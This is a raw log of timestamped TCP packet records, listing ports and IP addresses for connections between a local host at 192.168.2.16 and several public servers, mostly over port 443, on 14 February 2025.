Feb 14, 2025 17:23:02.924602032 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.924633980 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.924674034 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.924688101 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.924812078 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.925535917 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.925594091 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.925661087 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.925673962 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.931109905 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931200981 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931243896 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931250095 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.931272030 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931340933 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931348085 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.931358099 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931416988 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931457996 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931462049 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.931476116 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931498051 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.931934118 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.931996107 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.932005882 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.975670099 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.975693941 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.975703955 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.977894068 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.977922916 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.978028059 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.978061914 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.978117943 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.012857914 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:03.012921095 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:03.012954950 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:03.012983084 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:03.013015032 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:03.013035059 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:03.013060093 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:03.013101101 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:03.013312101 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:03.013328075 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:03.024321079 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.025365114 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.025409937 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.025485039 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.025703907 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.025718927 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.027937889 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028021097 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028224945 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.028233051 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028325081 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028373957 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028389931 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.028398037 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028446913 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.028453112 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028924942 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.028995037 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.029000998 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.029668093 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.029764891 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.029772043 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.029994011 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030050039 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030112982 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.030118942 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030175924 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.030533075 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030632019 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030673981 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030708075 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.030781031 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.030848026 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.031599998 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.031687975 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.031733990 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.031786919 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.031795025 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.031845093 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.031851053 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.032809019 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.032854080 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.032917976 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.032926083 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.032970905 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.032975912 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.033004045 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.033070087 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.033118010 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.033123016 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:03.033132076 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.033174992 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:03.084975004 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.085006952 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.085078955 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.085115910 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.085133076 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.085195065 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.085627079 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.085647106 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.085715055 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.085728884 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.085788965 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.087181091 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.087204933 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.087290049 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.087317944 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.087593079 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.087929010 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.088006020 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.088016987 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.088067055 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.088897943 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:03.088929892 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:03.190740108 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.190788031 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.190913916 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.191099882 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.191116095 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.546896935 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.547264099 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.547288895 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.548331976 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.548432112 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.548979998 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.549046993 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.549221992 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.549232006 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.595712900 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.674714088 CET	49673	443	192.168.2.16	204.79.197.203
Feb 14, 2025 17:23:03.706151009 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.706547022 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.706564903 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.708532095 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.708632946 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.710161924 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.710242987 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.710359097 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.710374117 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.715281963 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715343952 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715375900 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715415001 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715444088 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715442896 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.715485096 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715516090 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.715534925 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715540886 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.715554953 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715600967 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715626001 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.715641975 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.715801001 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.716124058 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.754705906 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.770683050 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.770705938 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.818705082 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.824047089 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824342012 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824371099 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824415922 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.824429989 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824476004 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.824721098 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824779034 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824806929 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824829102 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.824836016 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824847937 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.824891090 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.825526953 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.825591087 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.825603008 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.825613022 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.825673103 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.825757027 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.825799942 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.825843096 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.825851917 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.826642036 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.826672077 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.826702118 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.826702118 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.826723099 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.826750994 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.827486992 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.827517033 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.827544928 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.827555895 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.827568054 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.827610016 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.828125000 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.828195095 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.828202963 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.828217983 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.828273058 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.828469038 CET	49749	443	192.168.2.16	104.18.95.41
Feb 14, 2025 17:23:03.828491926 CET	443	49749	104.18.95.41	192.168.2.16
Feb 14, 2025 17:23:03.933531046 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.933758020 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.934180021 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.934829950 CET	49750	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.934849024 CET	443	49750	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.946470976 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.946522951 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:03.946882963 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.947103024 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:03.947113037 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.465169907 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.465538025 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.465579033 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.469274044 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.469393969 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.469763041 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.469950914 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.469960928 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.511357069 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.520719051 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.520736933 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.568779945 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.679619074 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.679806948 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:04.679903984 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.680615902 CET	49756	443	192.168.2.16	104.16.2.189
Feb 14, 2025 17:23:04.680639029 CET	443	49756	104.16.2.189	192.168.2.16
Feb 14, 2025 17:23:06.699737072 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:23:07.495711088 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:07.495803118 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:07.495877028 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:08.221259117 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:08.221298933 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:11.845799923 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:23:16.309776068 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:23:28.139764071 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.139843941 CET	443	49902	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.139945984 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.140343904 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.140373945 CET	443	49902	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.811136007 CET	443	49902	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.811414957 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.811453104 CET	443	49902	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.812761068 CET	443	49902	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.812838078 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814080954 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814131021 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814184904 CET	443	49902	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.814194918 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814241886 CET	49902	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814544916 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814575911 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:28.814641953 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814943075 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:28.814951897 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.289897919 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.290194035 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.290210962 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.291264057 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.291331053 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.292505980 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.292570114 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.292701006 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.292706013 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.341774940 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.919195890 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.919286013 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.920250893 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.920519114 CET	49908	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.920536041 CET	443	49908	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.996243954 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.996289968 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:29.996592999 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.996592999 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:29.996640921 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:30.608664036 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:30.609071970 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:30.609087944 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:30.610177994 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:30.610281944 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:30.610573053 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:30.610655069 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:30.611011028 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:30.611020088 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:30.651817083 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:31.198204994 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:31.198295116 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:31.198358059 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:31.199269056 CET	49915	443	192.168.2.16	104.21.16.1
Feb 14, 2025 17:23:31.199289083 CET	443	49915	104.21.16.1	192.168.2.16
Feb 14, 2025 17:23:37.140850067 CET	49699	80	192.168.2.16	72.247.153.178
Feb 14, 2025 17:23:37.141016006 CET	49700	80	192.168.2.16	72.247.153.178
Feb 14, 2025 17:23:37.146368980 CET	80	49699	72.247.153.178	192.168.2.16
Feb 14, 2025 17:23:37.146441936 CET	49699	80	192.168.2.16	72.247.153.178
Feb 14, 2025 17:23:37.146446943 CET	80	49700	72.247.153.178	192.168.2.16
Feb 14, 2025 17:23:37.146497965 CET	49700	80	192.168.2.16	72.247.153.178
Feb 14, 2025 17:23:39.476843119 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:23:39.476869106 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:23:54.046546936 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:23:54.046631098 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:23:54.046690941 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:23:54.391561031 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:23:54.391571999 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:23:57.011162996 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:57.011217117 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:57.011293888 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:57.011682987 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:57.011694908 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:57.640266895 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:57.640670061 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:57.640714884 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:57.641048908 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:57.641376019 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:23:57.641427040 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:23:57.696978092 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:24:04.487101078 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.487143993 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.487267017 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.487287045 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.487395048 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.487473011 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.487696886 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.487715960 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.487871885 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.487915039 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.965756893 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.966134071 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.966160059 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.966519117 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.967166901 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.967238903 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.967438936 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.967452049 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.970762968 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.971029043 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.971048117 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:04.971400976 CET	443	50005	188.114.97.3	192.168.2.16
